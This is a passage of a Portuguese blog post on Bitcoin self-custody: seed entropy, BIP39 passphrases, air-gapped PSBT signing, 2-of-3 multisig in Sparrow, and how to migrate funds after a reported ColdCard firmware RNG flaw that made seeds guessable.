    <a href="#o-que-uma-wallet-realmente-guarda" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Bitcoin não fica &ldquo;dentro&rdquo; da ColdCard, da Ledger ou do arquivo do Sparrow. A blockchain contém UTXOs bloqueados por scripts. Sua wallet guarda o material necessário pra encontrar esses UTXOs e produzir assinaturas que satisfazem os scripts.</p>
<p>Na forma mais básica, uma chave privada é um inteiro escolhido dentro do domínio da curva <code>secp256k1</code>. A chave pública é um ponto calculado a partir dela. Esse caminho é fácil de computar pra frente e inviável de reverter com a computação conhecida. Endereços são representações derivadas de chaves públicas e scripts, não cofres onde moedas moram.</p>
<p>Já expliquei essa base com mais calma em <a href="/2019/11/21/akitando-67-entendendo-conceitos-basicos-de-criptografia-parte-1-2/">[Akitando #67] Entendendo Conceitos Básicos de Criptografia - Parte 1</a> e <a href="/2019/11/26/akitando-68-entendendo-conceitos-basicos-de-criptografia-parte-2-2/">[Akitando #68] Entendendo Conceitos Básicos de Criptografia - Parte 2</a>.</p>
<p>Uma wallet moderna não sorteia uma chave independente pra cada endereço. Ela começa com uma raiz e usa <a href="https://github.com/bitcoin/bips/blob/master/bip-0032.mediawiki"target="_blank" rel="noopener">BIP32</a> pra derivar deterministicamente uma árvore de chaves: contas, endereços de recebimento, troco e assim por diante. Backup da raiz recupera a árvore inteira.</p>
<p>O <a href="https://github.com/bitcoin/bips/blob/master/bip-0039.mediawiki"target="_blank" rel="noopener">BIP39</a> é a camada que transforma entropia binária em palavras legíveis e depois converte mnemonic mais passphrase numa seed binária de 512 bits usada pelo BIP32. As palavras são uma forma humana de transportar aleatoriedade gerada por computador. A especificação avisa explicitamente que não é um método pra inventar uma frase bonita da própria cabeça.</p>
<h2>Doze ou 24 palavras é a pergunta errada<span class="hx:absolute hx:-mt-20" id="doze-ou-24-palavras-é-a-pergunta-errada"></span>
    <a href="#doze-ou-24-palavras-%c3%a9-a-pergunta-errada" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Uma mnemonic de 12 palavras codifica 128 bits de entropia mais 4 bits de checksum. Uma de 24 codifica 256 bits mais 8 de checksum. Em condições normais, 128 bits já estão fora do alcance de força bruta.</p>
<p>Mas &ldquo;24 palavras&rdquo; não garante que existiram 256 bits reais na entrada. O firmware vulnerável podia produzir uma sequência perfeitamente válida de 24 palavras, checksum correto e tudo, a partir de um espaço efetivo de aproximadamente 40 bits. O atacante não precisa experimentar todas as combinações de palavras. Ele reproduz os estados plausíveis do RNG defeituoso e compara os endereços derivados.</p>
<p>É por isso que a briga 12 contra 24 fica ao lado do ponto. Comprimento da representação não salva fonte previsível. Um UUID impresso em letras douradas continua previsível se alguém chamou <code>rand()</code> com um timestamp.</p>
<h2>RNG, TRNG e fontes independentes<span class="hx:absolute hx:-mt-20" id="rng-trng-e-fontes-independentes"></span>
    <a href="#rng-trng-e-fontes-independentes" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>RNG é o nome genérico do gerador de números aleatórios. Um PRNG pega um estado inicial, a seed, e expande aquilo numa sequência determinística. Um CSPRNG bem construído continua seguro desde que o estado inicial tenha entropia suficiente e o algoritmo não vaze o estado.</p>
<p>TRNG tenta colher aleatoriedade de fenômenos físicos: ruído eletrônico, jitter de oscilador e coisas do tipo. A <a href="https://support.ledger.com/article/4415198323089-zd"target="_blank" rel="noopener">Ledger explica seu processo</a> como um TRNG dentro do Secure Element gerando 256 bits, que o BIP39 traduz nas 24 palavras. A empresa diz que esse gerador é testado por laboratório externo e certificado segundo AIS-31. Isso é bem melhor que timer mais serial number, mas continua sendo uma fonte e uma implementação em que você deposita confiança.</p>
<p>Outros projetos preferem combinar fontes. A <a href="https://trezor.io/guides/trezor-devices/trezor-fundamentals/what-is-entropy-and-how-does-trezor-generate-your-wallet"target="_blank" rel="noopener">Trezor usa entropia do aparelho e do host</a>. A <a href="https://bitbox.swiss/bitbox02/security-features/"target="_blank" rel="noopener">BitBox02 documenta cinco fontes</a>: TRNG do secure chip, TRNG do microcontrolador, valor individual instalado na fábrica, entropia fornecida pelo host e hash do password do aparelho.</p>
<p>A palavra que interessa aqui é <strong>independência</strong>. Dois PRNGs inicializados pelo mesmo relógio não são duas fontes. Dois valores que saem do mesmo secure element também não compram a independência que o diagrama sugere. Fontes independentes, combinadas por uma construção criptográfica correta, fazem o resultado continuar forte mesmo quando algumas falham.</p>
<p>E &ldquo;combinadas corretamente&rdquo; carrega metade da segurança da frase. XOR, hash e extractors têm propriedades específicas. Não invente um mixer próprio em meia hora e coloque patrimônio em cima. Use uma implementação revisada, com test vectors, e verifique que o binário executado realmente chama aquele código. Acho que a razão ficou óbvia.</p>
<h2>Jogar dados não é tão simples<span class="hx:absolute hx:-mt-20" id="jogar-dados-não-é-tão-simples"></span>
    <a href="#jogar-dados-n%c3%a3o-%c3%a9-t%c3%a3o-simples" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Cada jogada de um D6 ideal entrega <code>log2(6)</code>, cerca de 2,585 bits. Por isso aparecem os números <strong>50 jogadas</strong> pra 128 bits e <strong>99 jogadas</strong> pra aproximadamente 256 bits. A <a href="https://coldcard.com/docs/verifying-dice-roll-math/"target="_blank" rel="noopener">documentação da ColdCard mostra a conta e o SHA-256 aplicado à sequência</a>. O <a href="https://github.com/SeedSigner/seedsigner"target="_blank" rel="noopener">SeedSigner</a> usa os mesmos patamares: 50 pra 12 palavras ou 99 pra 24.</p>
<p>Essa conta presume dado justo e jogadas independentes. Um dado promocional de plástico barato pode ter bolhas, faces mal cortadas e centro de massa deslocado. Sua mão também pode repetir movimento, a bandeja pode favorecer uma posição e muita gente &ldquo;rola de novo&rdquo; quando o dado cai perto da borda. Cada decisão humana depois de olhar o resultado introduz viés.</p>
<p>Se eu fosse gerar uma seed manual hoje, usaria <strong>dados de precisão, do tipo usado em cassino</strong>, de mais de um fabricante ou lote. A própria <a href="https://blog.bitbox.swiss/en/roll-the-dice-generate-your-own-seed/"target="_blank" rel="noopener">BitBox recomenda cinco dados casino-grade</a> no procedimento manual. Eu definiria antes a ordem de leitura, usaria uma bandeja que permita quicar e aceitaria toda jogada válida segundo uma regra escrita antes de começar. Nada de rerrolar porque &ldquo;não misturou direito&rdquo;.</p>
<p>Mesmo assim, eu não confiaria só nos dados. Misturaria fontes independentes: mais de um conjunto de dados, coin flips, entropia do host offline e um TRNG de hardware, quando o aparelho suporta. Fazer centenas de jogadas é barato. O cuidado é entregar tudo a um mecanismo auditado que faça a combinação criptográfica. Somar números, escolher as palavras &ldquo;mais aleatórias&rdquo; ou concatenar pedaços de mnemonics por conta própria é receita pra perder fundos.</p>
<p>Veja o que o seu aparelho realmente implementa. No setup novo documentado pela Ledger, o TRNG do Secure Element gera a entropia. No modo de restore, <a href="https://www.ledger.com/academy/can-i-recover-my-hot-wallet-on-a-ledger"target="_blank" rel="noopener">as palavras precisam reconstruir exatamente as mesmas chaves</a>. O TRNG não pode jogar entropia secreta em cima da mnemonic importada, porque isso criaria outra wallet e destruiria a função de backup. Portanto, restaurar uma seed feita com dados transfere pro aparelho a custódia e a assinatura, mas não melhora a aleatoriedade original.</p>
<p>Com hardware wallet comercial, eu escolheria um destes caminhos: gerar uma raiz nova no fluxo oficial de um aparelho atualizado que documenta como combina fontes independentes; ou gerar BIP39 fora dele, num processo auditável e completamente offline, e inserir as palavras somente pela tela e pelos botões do signer. Seed criada em MetaMask, website ou notebook conectado e depois restaurada numa Ledger continua sendo hot seed. A própria Ledger resume bem: <a href="https://www.ledger.com/academy/can-i-recover-my-hot-wallet-on-a-ledger"target="_blank" rel="noopener">move, don&rsquo;t merge</a>.</p>
<p>O BTC D00M Guy tem <a href="https://btcdoomguy.substack.com/p/como-gerar-sua-seed-e-fazer-o-backup"target="_blank" rel="noopener">um tutorial visual em português sobre BIP39, dados e teste de restauração</a>. É uma boa introdução pra enxergar o processo, mas eu não copiaria literalmente o trecho do celular velho em modo avião pra guardar patrimônio sério. Modo avião não prova que o aparelho estava limpo, não remove fisicamente os rádios e formatar flash depois não me dá uma garantia verificável de apagamento. Pra aprender e ensaiar, tudo bem. Pra gerar a seed da poupança da vida, prefiro hardware sem rádio, sistema efêmero verificado ou signer dedicado.</p>
<blockquote>
  <p>As jogadas viram segredo assim que você decide usá-las. Não fotografe, não dite em voz alta, não guarde em nota do celular e não digite num site. A <a href="https://github.com/SeedSigner/seedsigner/blob/dev/docs/dice_verification.md"target="_blank" rel="noopener">documentação do SeedSigner</a> recomenda que qualquer verificação de uma seed real aconteça num sistema efêmero como Tails, completamente offline, abandonado depois do teste.</p>
<p>Mais entropia também não corrige processo ruim. Cem jogadas filmadas por uma câmera conectada à nuvem valem zero contra quem tem o vídeo.</p>

</blockquote>
<h2>Passphrase: outra wallet, não outra senha<span class="hx:absolute hx:-mt-20" id="passphrase-outra-wallet-não-outra-senha"></span>
    <a href="#passphrase-outra-wallet-n%c3%a3o-outra-senha" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>No BIP39, a mnemonic é a entrada principal de PBKDF2-HMAC-SHA512. O salt é a string <code>mnemonic</code> concatenada com a passphrase, e a função roda 2.048 iterações. Toda passphrase produz uma wallet válida. Um caractere errado não mostra &ldquo;senha incorreta&rdquo;; abre outra wallet, normalmente vazia.</p>
<p>Uma passphrase longa, aleatória, única e independente pode proteger uma mnemonic exposta ou fraca. No caso ColdCard, ela acrescenta um segredo que não veio do RNG defeituoso: o atacante precisa combinar cada candidata à mnemonic com uma tentativa de passphrase. Se essa passphrase tiver entropia suficiente e nunca tiver vazado, o ataque pode voltar a ser inviável.</p>
<p>Mas citação, padrão humano ou senha reutilizada vira ataque de dicionário offline, sem rate limit. As 2.048 iterações do BIP39 não transformam uma passphrase fraca em forte. E perdê-la é tão definitivo quanto perder as palavras. PIN da hardware wallet não substitui passphrase. PIN protege o aparelho físico; passphrase participa da derivação das chaves.</p>
<p>Guarde a passphrase separada da mnemonic e teste uma restauração completa antes de depositar valor relevante. Registre também o fingerprint esperado e pelo menos um endereço. Na restauração, eles dizem se você entrou na wallet certa.</p>
<blockquote>
  <p>No caso ColdCard, não acrescente uma passphrase agora à seed vulnerável e chame isso de migração. Crie raiz nova. A passphrase pode fazer parte da nova arquitetura, mas os bitcoins precisam sair dos scripts derivados da raiz antiga.</p>

</blockquote>
<h2>Sparrow, air gap e PSBT<span class="hx:absolute hx:-mt-20" id="sparrow-air-gap-e-psbt"></span>
    <a href="#sparrow-air-gap-e-psbt" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O <a href="https://sparrowwallet.com/"target="_blank" rel="noopener">Sparrow</a> é o coordenador que uso. Ele conhece descriptors, xpubs, endereços, UTXOs e histórico. Pode montar uma transação, mas numa configuração watch-only não tem chave privada pra assinar.</p>
<p>É aí que entra o <a href="https://github.com/bitcoin/bips/blob/master/bip-0174.mediawiki"target="_blank" rel="noopener">PSBT, padronizado no BIP174</a>. O Sparrow cria uma Partially Signed Bitcoin Transaction com inputs, outputs, valores e dados de derivação necessários. O arquivo ou QR vai pro signer offline. O signer confere, adiciona sua assinatura e devolve o PSBT. Em multisig, o mesmo pacote passa pelos signers restantes até atingir o quorum. Sparrow combina, finaliza e transmite.</p>
<p>O fluxo single-sig air-gapped fica assim:</p>
<ol>
<li>Sparrow monta a transação no computador online.</li>
<li>Você exporta o PSBT por QR ou microSD.</li>
<li>ColdCard, SeedSigner ou outro aparelho mostra destino, valor e fee.</li>
<li>Você confere na tela do signer e assina.</li>
<li>Sparrow importa o PSBT assinado, finaliza e transmite.</li>
</ol>
<p>Air gap reduz a superfície de ataque. Não é campo de força. QR e microSD continuam transportando dados, firmware malicioso continua sendo firmware malicioso e um coordinator comprometido pode tentar trocar endereço de destino ou de troco. A tela do signer existe pra você comparar endereço, valor e fee antes de apertar Confirm.</p>
<blockquote>
  <p>E air gap não melhora entropia retroativamente. A ColdCard vulnerável podia passar a vida inteira sem cabo USB. A chave já nasceu fraca.</p>

</blockquote>
<h2>Multisig 2-de-3: mais seguro e muito mais burocrático<span class="hx:absolute hx:-mt-20" id="multisig-2-de-3-mais-seguro-e-muito-mais-burocrático"></span>
    <a href="#multisig-2-de-3-mais-seguro-e-muito-mais-burocr%c3%a1tico" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Single-sig concentra tudo numa seed, num backup e numa implementação. Dentro das opções acessíveis hoje, <strong>2-de-3 multisig</strong> com signers realmente independentes é o mais perto de segurança máxima que conheço pra eliminar esse ponto único de falha.</p>
<p>Você cria três seeds independentes em signers de fabricantes e codebases diferentes. Sparrow monta uma policy que exige duas assinaturas. Um aparelho pode quebrar ou uma seed pode vazar sem entregar os fundos imediatamente. Dois signers continuam suficientes pra recuperar.</p>
<p>&ldquo;Independentes&rdquo; de novo é a palavra que faz o trabalho. Três hardware wallets alimentadas por três seeds filhas do mesmo BIP85 continuam penduradas numa raiz. Três seeds geradas pela mesma ColdCard vulnerável repetem o risco. Use processos e fontes de entropia separados. Eu misturaria, por exemplo, um signer comercial de outro fabricante, um SeedSigner com dados e um terceiro aparelho com arquitetura diferente.</p>
<p>No Sparrow, o procedimento conceitual é:</p>
<ol>
<li>Crie e faça backup de cada seed separadamente.</li>
<li>Exporte de cada signer o fingerprint, derivation path e xpub.</li>
<li>Crie uma wallet <code>Multi Signature</code>, normalmente Native SegWit, com policy 2-de-3.</li>
<li>Importe os três keystores e faça backup do output descriptor da wallet.</li>
<li>Registre quais signers correspondem a quais fingerprints.</li>
<li>Confira um endereço de recebimento em mais de um signer.</li>
<li>Faça um depósito pequeno, restaure/teste os signers e execute uma retirada completa de ensaio.</li>
</ol>
<p>O descriptor não permite gastar sozinho, mas revela todos os endereços e o histórico. É backup necessário pra reconstruir a policy e também dado sensível de privacidade. Guarde cópias em locais separados das seeds.</p>
<p>Na hora de gastar, Sparrow cria o PSBT; signer A assina; signer B assina; Sparrow combina e transmite. Cada pessoa ou aparelho deve revisar outputs. Multisig com operador que confirma tudo no automático só distribui o mesmo erro em três telas.</p>
<p>Nada disso é mistério pra mim. Mesmo assim, acho burocrático pra cacete: três seeds, três backups, output descriptor, locais separados, dois aparelhos em cada gasto, atualizações de firmware e um plano de recuperação que outra pessoa da família precisa conseguir executar quando você não estiver por perto.</p>
<p>Cada camada reduz um risco técnico e abre outra oportunidade pro operador errar. Usabilidade também faz parte da segurança. Se a arquitetura ficou tão chata que você para de testar os backups, deixa de atualizar os signers ou não consegue documentar a herança, o multisig perfeito do diagrama não vale grande coisa.</p>
<blockquote>
  <p>Eu entendo perfeitamente quem prefere continuar com single-sig e uma passphrase forte, independente e bem guardada. É muito mais fácil de operar. Só faça essa escolha sabendo que aceita um risco maior: você ainda depende de uma raiz e de um único caminho de assinatura. Se esse ponto cair, cai a wallet inteira. Passphrase adiciona uma barreira; não adiciona uma segunda assinatura independente.</p>

</blockquote>
<p>O <a href="https://sparrowwallet.com/docs/best-practices.html"target="_blank" rel="noopener">guia de boas práticas do Sparrow</a> recomenda 2-de-3 com hardware wallets de fornecedores diferentes e backups em locais distintos.</p>
<blockquote>
  <p>Se uma das chaves do seu 2-de-3 veio de ColdCard afetada, o atacante potencialmente já controla essa chave e consegue produzir uma assinatura. Ainda não consegue gastar sozinho, mas seu limiar efetivo caiu: agora basta comprometer mais um signer. Crie uma wallet multisig nova com cosigner novo e mova os fundos. Não existe &ldquo;trocar uma chave&rdquo; mantendo os mesmos endereços; a policy mudou, portanto os scripts também mudam.</p>

</blockquote>
<h2>Fulcrum resolve privacidade, não chave fraca<span class="hx:absolute hx:-mt-20" id="fulcrum-resolve-privacidade-não-chave-fraca"></span>
    <a href="#fulcrum-resolve-privacidade-n%c3%a3o-chave-fraca" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Sparrow precisa consultar a blockchain. Num servidor Electrum público, ele pede o histórico dos script hashes derivados dos seus endereços. O servidor pode correlacionar consultas, horário e IP pra agrupar saldo e histórico, mesmo sem receber o xpub bruto. Pra evitar isso, conecto o Sparrow ao meu próprio Bitcoin Core por meio do Fulcrum.</p>
<p>Mostrei a arquitetura e a instalação em <a href="/2026/04/01/bitcoin-no-home-server-soberania-e-privacidade-com-coldcard-sparrow-e-fulcrum/">Bitcoin no Home Server: Soberania e Privacidade com ColdCard, Sparrow e Fulcrum</a>. O artigo continua útil, com uma correção óbvia: não use uma seed gerada pelo firmware afetado da ColdCard.</p>
<p>Seu node valida a blockchain. Fulcrum indexa e responde rápido ao Sparrow. Isso melhora soberania e privacidade da consulta. Nenhum deles impede um atacante de assinar com uma private key que conseguiu reproduzir por causa de entropia ruim.</p>
<h2>Como eu faria a migração hoje<span class="hx:absolute hx:-mt-20" id="como-eu-faria-a-migração-hoje"></span>
    <a href="#como-eu-faria-a-migra%c3%a7%c3%a3o-hoje" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Não transforme uma emergência num segundo acidente. Eu seguiria esta ordem:</p>
<ol>
<li><strong>Faça o inventário.</strong> Liste modelo, firmware que gerou a seed, contas, passphrases, derivation paths e multisigs onde aquela chave participa. Não publique saldo nem endereço em rede social.</li>
<li><strong>Considere a seed comprometida.</strong> Não a digite em software online e não aceite &ldquo;checker&rdquo; de terceiros. Continue assinando no aparelho apenas pelo tempo necessário pra sair.</li>
<li><strong>Escolha a arquitetura nova.</strong> Eu não geraria a nova seed numa ColdCard. Use outro signer novo, comprado diretamente do fabricante, um SeedSigner ou 2-de-3 com implementações diferentes. Não importe nele as palavras antigas. Se insistir em reutilizar a sua ColdCard, instale antes o firmware corrigido pro modelo e release track corretos.</li>
<li><strong>Gere entropia nova.</strong> Use fontes independentes e um mixer auditado. Pra dados, use material casino-grade, várias fontes e pelo menos 99 jogadas pra uma mnemonic de 24 palavras. Eu faria mais.</li>
<li><strong>Faça backup antes de receber.</strong> Mnemonic, passphrase separada, fingerprints e descriptor no caso de multisig. Nunca fotografe nem armazene em cloud.</li>
<li><strong>Teste restauração.</strong> Recrie a wallet, confira fingerprint e endereços. Em multisig, prove que duas chaves conseguem assinar sem depender da terceira.</li>
<li><strong>Verifique o endereço na tela.</strong> Não confie só no que Sparrow mostra no monitor do computador.</li>
<li><strong>Mande um valor pequeno.</strong> Confirme que a wallet nova recebe e consegue gastar. A Coinkite também recomenda esse teste.</li>
<li><strong>Mova o restante logo depois.</strong> Revise fee e todos os outputs. Procure saldo em outras contas, passphrases e endereços de troco derivados da seed velha.</li>
<li><strong>Mantenha o backup antigo marcado como comprometido.</strong> Guarde até ter certeza de que a migração confirmou e de que nenhum depósito atrasado vai chegar. Nunca reutilize endereço antigo.</li>
</ol>
<blockquote>
  <p>Se o ataque estiver correndo contra você, não passe uma semana desenhando o multisig perfeito. Gere um destino seguro e verificado, faça o teste mínimo e tire os fundos do alcance da chave velha. Depois você pode reorganizar UTXOs e melhorar a arquitetura com tempo.</p>

</blockquote>
<h2>Então qual hardware wallet eu recomendo?<span class="hx:absolute hx:-mt-20" id="então-qual-hardware-wallet-eu-recomendo"></span>
    <a href="#ent%c3%a3o-qual-hardware-wallet-eu-recomendo" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Hoje, nenhuma.</p>
<p>Depois de explicar geração de entropia, BIP39, passphrase, PSBT, air gap, descriptors e multisig, deveria estar claro que self-custody completamente offline e feita à mão é <strong>muito difícil</strong>. Não espero que uma pessoa normal domine as implicações matemáticas, audite cada algoritmo e execute cada etapa sem errar. Nem a maioria dos programadores conseguiria. Eu também não vou fingir que consigo revisar sozinho toda a cadeia, do silício ao firmware que roda no aparelho.</p>
<p>É justamente por isso que hardware wallets existem. Elas empacotam criptografia e procedimentos complicados numa interface que uma pessoa consegue operar. Isso transfere parte da responsabilidade pro fabricante; não faz a confiança desaparecer.</p>
<p>Deixar a poupança da vida numa conta de exchange continua sendo o pior default. Você não tem as chaves, depende da solvência da empresa, da política de saque, do sistema jurídico e da segurança da conta. Mas um esquema artesanal que você não entende também pode terminar em perda total. Não adianta eliminar o risco de contraparte e substituí-lo por uma cerimônia impossível de restaurar depois de um incêndio ou da própria morte.</p>
<p>Durante anos, hardware wallet foi tratada como o último porto seguro entre esses extremos. A Coinkite abalou essa confiança na categoria inteira. Não quer dizer que Ledger, Trezor, BitBox, Passport, Jade, SeedSigner e todos os demais estejam quebrados ou sejam equivalentes. Quer dizer que nome forte, secure element, air gap, código visível e anos de mercado não bastam. Eu não consigo mais apontar pra um aparelho e dizer: “compre este e durma tranquilo”. Você vai ter que fazer sua lição de casa.</p>
<blockquote>
  <p><strong>NUNCA compre hardware wallet de segunda mão. Compre nova, diretamente da loja oficial do fabricante.</strong> Não economize frete colocando a poupança da sua vida num aparelho que passou pela mão de um desconhecido. Marketplace, leilão, OLX, eBay, “open box”, recondicionado e aquela oferta imperdível de um amigo estão fora de questão.</p>

</blockquote>
<p>Quando o pacote chegar, não rasgue tudo e saia apertando botão. Abra a documentação oficial do modelo e siga a verificação de supply chain. A <a href="https://coldcard.com/docs/quick/"target="_blank" rel="noopener">ColdCard usa uma embalagem serializada que evidencia abertura</a>: o número aparece na bolsa, numa aba interna e no próprio aparelho. A <a href="https://trezor.io/support/troubleshooting/device-issues/is-my-device-safe-to-use"target="_blank" rel="noopener">Trezor documenta os selos holográficos</a> de cada modelo. A <a href="https://support.bitbox.swiss/en_US/orders-shipping/verifying-the-bitbox02-packaging"target="_blank" rel="noopener">BitBox combina embalagem selada com attestation criptográfica</a> feita pelo aplicativo.</p>
<p>Confira lacre, cortes, cola, número serial, conteúdo da caixa e o mecanismo de autenticidade exibido pelo aparelho ou software oficial. Qualquer divergência encerra o setup: não conecte a seed, não tente “ver se funciona” e fale com o fabricante. O aparelho precisa chegar sem wallet inicializada e deve gerar palavras novas na sua frente. Seed impressa dentro da caixa é golpe.</p>
<p>E cuidado com a linguagem: isso tudo é <strong>tamper-evident</strong>, não tamper-proof. A própria documentação da ColdCard admite que uma bolsa pode ser atacada; a BitBox diz que embalagem perfeita não garante autenticidade. Lacre intacto é uma camada. Ainda quero attestation ou genuine check, firmware assinado, verificação do hash quando disponível e teste completo com pouco dinheiro.</p>
<p>Eu começaria por estas perguntas:</p>
<ol>
<li><strong>Qual é o threat model publicado?</strong> O fabricante precisa dizer contra o que protege e, principalmente, o que fica fora do escopo: computador infectado, aparelho roubado, ataque físico com laboratório, supply chain, firmware direcionado, coerção. “Military-grade security” não é threat model.</li>
<li><strong>De onde vem a entropia, exatamente?</strong> Procure as fontes, como elas são combinadas e que testes end-to-end provam que o fluxo <code>New Wallet</code> chega ao RNG prometido. Suporte a dados ou entropia externa é útil, mas só se o mecanismo de mistura for documentado e auditado. O caso ColdCard mostrou que ter o TRNG correto dentro do binário não significa que a geração da seed o utiliza.</li>
<li><strong>O código é realmente livre e o binário corresponde a ele?</strong> “Source available” com licença restritiva não é FOSS. Código aberto permite auditoria, mas não prova que alguém auditou. <a href="https://reproducible-builds.org/docs/definition/"target="_blank" rel="noopener">Build reproduzível</a> permite que terceiros reconstruam o firmware e comparem o resultado bit a bit. Procure verificações independentes e atuais no <a href="https://walletscrutiny.com/"target="_blank" rel="noopener">WalletScrutiny</a>, não apenas a promessa do fabricante.</li>
<li><strong>Como a empresa trata quem encontra falhas?</strong> Leia a política de disclosure, escopo e valores do bounty. Procure advisories antigos, CVEs, post-mortems e a conversa com pesquisadores. Empresa que publica a falha, explica a causa, corrige rápido e agradece ao pesquisador merece mais confiança que uma com histórico supostamente “perfeito”. Às vezes ninguém encontrou vulnerabilidade porque ninguém competente teve incentivo pra procurar.</li>
<li><strong>O que a tela confiável permite verificar?</strong> Antes de assinar, o aparelho deve mostrar endereço, valor, fee e troco. Deve conferir endereço de recebimento no próprio display, permitir entrada de PIN e passphrase sem entregá-los ao computador e registrar corretamente a policy de multisig. Secure element protege chave; não salva uma interface que faz você assinar sem entender os outputs.</li>
<li><strong>Existe uma rota de saída sem o fabricante?</strong> Eu quero padrões interoperáveis: BIP39/BIP32 quando aplicável, <a href="https://bips.dev/174/"target="_blank" rel="noopener">PSBT</a> e <a href="https://bips.dev/380/"target="_blank" rel="noopener">output descriptors</a>. Quero exportar xpub, fingerprint e descriptor, usar Sparrow, conectar meu node e recuperar em outra implementação. Conta obrigatória, cloud proprietária e backup que só abre no aplicativo da empresa são lock-in em cima da chave da sua vida.</li>
<li><strong>Como funcionam hardware, firmware e supply chain?</strong> Secure element, microcontrolador comum e signer stateless fazem trocas diferentes. Descubra o que persiste no aparelho e o que um atacante físico consegue extrair. Releases devem ser assinadas, ter changelog útil, impedir downgrade inseguro e receber manutenção por anos. Pesquise como o aparelho verifica autenticidade, como documenta embalagem e transporte, o que acontece se o servidor de update desaparecer e quais componentes fechados existem. Air gap também não é selo mágico: QR, NFC e microSD são parsers de entrada e continuam sendo superfície de ataque.</li>
<li><strong>Você consegue restaurar sem improviso?</strong> Antes de colocar valor relevante, gere a wallet, faça backup, apague o aparelho e recupere. Confira fingerprint, endereço e uma transação de ida e volta. Em multisig, restaure o descriptor e prove que o quorum funciona sem uma das chaves. Backup nunca testado é esperança, não backup.</li>
</ol>
<p>Eu também pesquisaria o histórico do repositório, issues de segurança, commits recentes, auditorias independentes e tempo entre vulnerabilidade reportada e correção. Buscaria pelo nome do modelo junto com <code>vulnerability</code>, <code>reproducible build</code>, <code>seed entropy</code>, <code>multisig</code> e <code>responsible disclosure</code>. Review de influenciador com link de afiliado serve pra conhecer a tela e o tamanho do aparelho, não pra decidir onde guardar patrimônio.</p>
<p>Pra valores pequenos, um signer comercial bem pesquisado pode ser muito menos arriscado que uma invenção manual. Pra patrimônio que muda sua vida, 2-de-3 com fabricantes e codebases diferentes continua sendo a referência, como recomenda o <a href="https://sparrowwallet.com/docs/best-practices.html"target="_blank" rel="noopener">guia do Sparrow</a>. Isso limita o estrago de um fornecedor comprometido, mas cobra mais backups, mais testes e uma policy bem documentada. Multisig que você não consegue restaurar é pior que single-sig bem cuidada.</p>
<p>Em alguns serviços de custódia colaborativa, uma empresa segura uma das chaves de um 2-de-3. Ela não deveria conseguir gastar sozinha, mas passa a conhecer dados da sua wallet e pode desaparecer, negar serviço ou complicar uma recuperação. Custodiante profissional também troca risco técnico por risco jurídico e de contraparte. No fim, você escolhe qual risco aceita carregar e qual entrega a terceiros.</p>
<p>O melhor que consigo recomendar não é uma marca. Escolha uma arquitetura proporcional ao valor e descubra quais falhas ela tolera. Antes de colocar dinheiro que faria falta, rode o fluxo inteiro com pouco: receba, gaste, apague um signer, restaure o backup e veja se você consegue voltar sozinho.</p>
<h2>Conclusão<span class="hx:absolute hx:-mt-20" id="conclusão"></span>
    <a href="#conclus%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Self-custody tira o custodiante do caminho, mas deixa uma responsabilidade brutal no lugar. A confiança continua espalhada por silício, firmware, compilador, processo de build, wallet coordinator e pela sua própria disciplina. Hardware wallet continua tendo utilidade porque fazer tudo na mão é impraticável pra quase todo mundo. O erro é confundir essa ferramenta com garantia.</p>
<p>Eu não recomendo hoje uma marca específica. Prefiro distribuir o risco e criar maneiras de pegar falhas: fontes independentes de entropia, código livre, builds reproduzíveis verificados por terceiros, restaurações ensaiadas, signers diferentes e multisig quando o valor justifica e você aceita a burocracia. Single-sig com passphrase é uma escolha compreensível. Só não oferece a mesma tolerância a falhas. Faça essa escolha sabendo o que está delegando e o risco que decidiu manter com você.</p>
<p>Este pode acabar sendo <strong>um dos piores episódios da história da autocustódia em Bitcoin</strong>. Não porque alguém deixou moedas numa exchange vagabunda, digitou a seed num site de phishing ou instalou wallet pirata. Muita gente comprou um aparelho dedicado, anotou 24 palavras, guardou o backup em aço, manteve tudo offline e assinou por air gap. Fez exatamente o que a cultura Bitcoin ensinava como o procedimento correto. Mesmo assim foi pega por um bug nojento no instante mais importante de todos: a escolha da raiz.</p>
<blockquote>
  <p>Nos casos mais graves, o RNG reduziu o universo pra algo na casa de <code>2^40</code>. O atacante não precisa tocar na ColdCard. Ele enumera os estados possíveis, deriva as árvores BIP32 e os endereços mais prováveis, consulta a blockchain pública e encontra quais candidatos têm UTXOs. Quando encontra, também tem as private keys pra assinar. A ColdCard pode estar desligada, sem bateria, sem USB e dentro de um cofre. Não faz diferença. Air gap protege o caminho entre signer e computador; não recupera entropia que nunca existiu.</p>

</blockquote>
<p>Não havia alerta visível. A wallet recebia, assinava e restaurava normalmente até o dia em que outra pessoa reproduziu a mesma chave. Por isso 12 contra 24 palavras, air gap contra USB e secure element contra microcontrolador viram discussões secundárias quando ninguém testou se o botão <strong>New Wallet</strong> chamava o RNG correto.</p>
<p>Também mostra por que não aceito chamar negligência de black swan. O source estava aberto, o caminho era auditável e a cultura afastava parte das pessoas mais capazes de apontar problemas. Foi um cisne branco esperando alguém olhar na direção certa.</p>
<blockquote>
  <p>A lição não é abandonar self-custody. É parar de terceirizar entendimento. Estude o threat model, procure como a entropia é gerada, confira o histórico do fabricante, ensaie recuperação e saiba quais riscos continuam concentrados. Não confie cegamente em empresa, certificação, influencer, tutorial ou artigo. Nem neste aqui. Verifique.</p>

</blockquote>
<p>Eu já movi meus fundos da ColdCard antiga. Na prática, se você tem qualquer ColdCard, faça o mesmo. Não existe prêmio por descobrir tarde demais que seu caso também tinha uma exceção não documentada.</p>
<p>Escolha a nova arquitetura com os critérios acima. Gere uma raiz completamente nova. Misture entropia independente de verdade. Teste o backup. Confira os endereços. Mova tudo.</p>
